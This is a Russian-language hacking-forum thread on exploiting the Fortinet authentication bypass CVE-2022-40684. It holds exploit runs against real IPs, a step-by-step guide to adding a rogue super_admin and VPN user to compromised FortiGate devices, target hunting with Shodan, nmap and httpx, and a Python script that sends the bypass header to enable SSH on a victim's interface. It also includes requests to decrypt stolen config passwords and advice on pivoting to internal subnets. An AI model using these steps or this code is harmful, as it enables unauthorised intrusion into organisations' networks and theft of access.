• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Fortinet CVE-2022-40684

Знает кто-нибудь как расшифровать подобные пароли из конфигов фортика?
set passwd ENC PVSOmNDqLM4GnBqtEBgX/eexea5msNuuZgWlR0gx7GRnyeKdh2Ou+BKxjZUp2gV23gaOOYpInPSvdTnxYWhXRYngUL31doQVvhzSMqfyUCAXqbelszR3kzqXZcGg+luw4w6TeP9feX8qwS0/TUkYBwbfY59hxA8Mm0dPp056Zppvmb0ZEjpBUgPQETj5otF4reIRRw==
 
.pub ключ добавляется (добавляю в свободный ssh-public-key3), но при подключении аутентификация сбрасывается до парольной

debug1: Will attempt key: /home/.ssh/id_rsa RSA SHA256:k+vVbMfUXMEmGuq4DsXF22bHgtUsZxv4hNk+BCzGETQ explicit agent
debug2: pubkey_prepare: done
debug3: send packet: type 5
debug3: receive packet: type 6
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug3: send packet: type 50
debug3: receive packet: type 51
debug1: Authentications that can continue: publickey,password
debug3: start over, passed a different list publickey,password
debug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password
debug3: authmethod_lookup publickey
debug3: remaining preferred: keyboard-interactive,password
debug3: authmethod_is_enabled publickey
debug1: Next authentication method: publickey
debug1: Offering public key: /home/.ssh/id_rsa SHA256:k+vVbMfUXMEmGuq4DsXF22bHgtUsZxv4hNk+BCzGETQ explicit agent
debug1: send_pubkey_test: no mutual signature algorithm
debug2: we did not send a packet, disable method
debug3: authmethod_lookup password
debug3: remaining preferred: ,password
debug3: authmethod_is_enabled password
debug1: Next authentication method: password
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Есть у кого такая же проблемка? 2 раз подряд уже.

Код:
python CVE-2022-40684.py -k /root/.ssh/id_rsa.pub -c -v -t 212.47.226.183     ─╯
Checking target: 212.47.226.183
[+] 212.47.226.183 is vulnerable
Traceback (most recent call last):
  File "/root/CVE-2022-40684/CVE-2022-40684.py", line 127, in <module>
    check(args.target)
  File "/root/CVE-2022-40684/CVE-2022-40684.py", line 70, in check
    data = json.loads(req.text)
  File "/usr/lib/python3.10/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.10/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.10/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
1 эксп если че
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код:
python3 CVE-2022-40684.py -k /root/.ssh/id_rsa.pub -c -v -t xakep.ru          ─╯
Checking target: xakep.ru
[+] xakep.ru is vulnerable
Traceback (most recent call last):
  File "/root/CVE-2022-40684/CVE-2022-40684.py", line 127, in <module>
    check(args.target)
  File "/root/CVE-2022-40684/CVE-2022-40684.py", line 70, in check
    data = json.loads(req.text)
  File "/usr/lib/python3.10/json/__init__.py", line 346, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.10/json/decoder.py", line 337, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.10/json/decoder.py", line 355, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

ахахах ору
 
Есть у кого такая же проблемка? 2 раз подряд уже.
Это случается из-за того что таргет который ты чекаешь не фортик. В экспе плохо реализован чекер, просто стучится по эндпоинту и ждет ответ 200 не проверяя при этом содержимое реквеста.Чтобы исправить можешь изменить чекер так чтобы он проверял данные с ответа.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это случается из-за того что таргет который ты чекаешь не фортик. В экспе плохо реализован чекер, просто стучится по эндпоинту и ждет ответ 200 не проверяя при этом содержимое реквеста.Чтобы исправить можешь изменить чекер так чтобы он проверял данные с ответа.
Учту. Спасибо
 
Правда если быть еще точнее то ошибка тут из за того что в реквесте к LDAP эндпоинту пустой ответ. Не знаю возможно ли такое чтобы фортик был без лдап, если да то так же возможна ситуация что таргет с подобной ошибкой все же настоящий фортик, но без лдап конфигов.
 
значит нет возможности раскодить пасы? или кто то с этим справился, пните в ЛС.
вот этот пида... все ффортики задрочил joemanager, куда не зайди везде он!
 
Последнее редактирование:
Моя первая статья на данном форуме. Для тех кто тыкается, но так и не приткнул.
Как добывать материал тут уж каждый сам решает для себя, мы же разберем exploit'ы для эксплуатации CVE-2022-40684,
примерное направление куда копать (для тех кто в танке).

На GitHub уже выложили достаточно реализаций данной CVE, рассмотрим 2 для точечного использования:
1) https://github.com/mohamedbenchikh/CVE-2022-40684 2)https://github.com/Chocapikk/CVE-2022-40684
Для начала нам нужно сгенерировать ssh-сертификат: ssh-keygen
все дополнительные предложения пропускаем нажатием Enter
Ваш ssh сертификат готов, путь до файла (может кто-то не в курсе)
Win: C:\Users\Username*\.ssh\id_rsa.pub, Linux: /home/kali*/.ssh/id_rsa.pub

Плюс первой реализации данного эксплоита от mohamedbenchikh, что мы можем узнать логины действующих администраторов и их права на сервере
Запуск производится командой: python CVE-2022-40684.py -k C:\Users\Username*\.ssh\id_rsa.pub -c -v -t Ваш_IP
Посмотреть вложение 44392
Благодаря второй реализации есть возможность указать логин учетки администратора и привязать к ней свой публичный ключ ssh
Запуск: python exploit.py -k C:\Users\Username*\.ssh\id_rsa.pub -U Support -u Ваш_IP

Что же дальше, где нам взять logg/pass от нашего VPN?
Для начала создадим запись нового администратора:
Код:
config system admin
    edit "admin1"   -создаем новую запись
        set accprofile "super_admin"  -присваиваем права супер админа
        set vdom "root"
        set password P@$$w0rd  -задаем пароль
    end  - выход из директории
Создание учетки локального пользователя:
Код:
config user local
edit fortiuser222
set type password
set passwd Parol
end

Дальше мы просто переходим по IP-адресу в нашем браузере и логинимся при помощи нашей учетки администратора!!!
Переходим во вкладку VPN - SSL-VPN Settings и наблюдаем такую картину:
Посмотреть вложение 44393

Добавляем нашу учетку локального пользователя кнопкой - Create New (далее следуем инструкциям)

Посмотреть вложение 44394
Не забываем применить изменения
Качаем Fortinet VPN client указываем IP/port хоста для подключения и будет Вам счастье ;)
При возникновении вопросов: "у меня так не работает", "не переходит по ссылке в браузере", просьба не засорять ПМ,
а писать под этой темой. Поможем друг другу, будем командой)))))))

Данный мини экскурс меня подтолкнуло написать куча однотипных сообщений после моего ответа в данной теме.
Обещали даже оплатить статью, ну я в принципе и не против донатов)
На икру и проссеко: bitcoin: bc1qx56q2t87rgn8032j8k7kqttv4fpe0k9c8kef99

Всем спасибо, всех обнял!!!
хорошая статья. а как найти цели? в шодане много. но когда использую фильтр на 22 порт, то их 0
 
хорошая статья. а как найти цели? в шодане много. но когда использую фильтр на 22 порт, то их 0
не нужно искать по порту 22 ищи без порта, сплоит сам просматривает порт, а поисковики почему то его не определяют, и указывай просто ипы без порта.
 
не нужно искать по порту 22 ищи без порта, сплоит сам просматривает порт, а поисковики почему то его не определяют, и указывай просто ипы без порта.
Спасибо. А ты знаешь дефолт юзернеймы? Прости за тупые вопросы, просто никогда не работал с фортинайтом
 
Спасибо. А ты знаешь дефолт юзернеймы? Прости за тупые вопросы, просто никогда не работал с фортинайтом
admin если -U не указывать он его по дефолту смотрит.
 
Уязвимость эксплуатирует веб часть fortinet
Для полноценной эксплуатации нужен открытый 22 порт и включенная вебморда
Первое можно отфильтровать nmap -oG и затем grep,второе с помощью httpx
Bash:
httpx -list list.txt -p 443,10443,8443 -t 750 -o output.txt
Писал по памяти, если ошибки смотрите документацию.Порты можете добавлять

Пробовал когда только бага вышла, реально эксплуатируемых роутеров очень мало, команды из официальной документации не отрабатывали.
Из 10к выгрузки шодана по "fortigate" проэксплутировались msf что-то типа 5 устройств.Либо делать выгрузку больше, либо точнее
Забил и ушел решать hackthebox :)
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Бага норм, просто экспы кривые.
И да, там не обязательно ssh и заморочку с ключами делать.
Кстати, ТС в статье не указал, что при добавлении юзера надо добавить его в группы, чтобы впн работал. Я много времени потратил, чтобы это понять :)
 
22 порт можно открыть, для этого надо сделать get запрос на ...system/interface/, посмотреть wan1 или другой с внешним ип (иногда надо еще добавить в dmz) > и увидете картину "allowaccess":" ping https fgfm fabric" без ssh, далее отправляем put запрос "allowaccess":" ping https ssh fgfm fabric", как я понял порядок последовательности ping https ... важен!
переберал мат, в целом хлам)

Python:
#!/usr/bin/python3
import argparse
import json
import requests
import urllib3
requests.packages.urllib3.disable_warnings()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


HEADERS = {
    'User-Agent': 'Report Runner',
    'Forwarded': 'for="[127.0.0.1]:8888";by="[127.0.0.1]:8889"'
}

def check(target):
    req = requests.get(f"https://{target}/api/v2/cmdb/system/interface",
                       headers=HEADERS, verify=False)

    if(req.status_code == 200):
        print(req.text)
    else:
        print("[-] The target is not vulnerable")


def add_key(target):
    j = {"allowaccess":" ping https ssh fgfm fabric"}
    r = requests.put(f"https://{target}/api/v2/cmdb/system/interface/wan1",
              headers=HEADERS, json=j, verify=False)

    if(r.status_code == 200):
        print(r.text)
    else:
        print("[-] The target is not vulnerable")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-c', '--check', required=False, action='store_true')
    args = parser.parse_args()

    if args.check:
        check(args.target)
    else:
        add_key(args.target)
 
Бага норм, просто экспы кривые.
И да, там не обязательно ssh и заморочку с ключами делать.
Кстати, ТС в статье не указал, что при добавлении юзера надо добавить его в группы, чтобы впн работал. Я много времени потратил, чтобы это понять :)
чем они кривые? заливаешь ключ подрубаеш ссш, создаёшь юзера, заходишь смотришь, я сразу лез в интерфейс ипы глядел и сколь клиентов, есть даже нету тунеля для подключения на тубе нашёл видос как создавать тунель, за 5 минут создаёш тунель заходишь вроде на днс кажет 145 клиентов сканиш там один хер какой то сидит, видать просто в памяти откладывается или уже похакали )))))
 
смотри роуты а не клиенты, например таргет роутер может быть последним в сети из клиентов у него камеры и охранник, но есть маршруты до других роутеров, подсетей и там свои клиенты, и эти роуты надо вписывать в политику sslvpn, что бы впн клиент мог их видеть.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх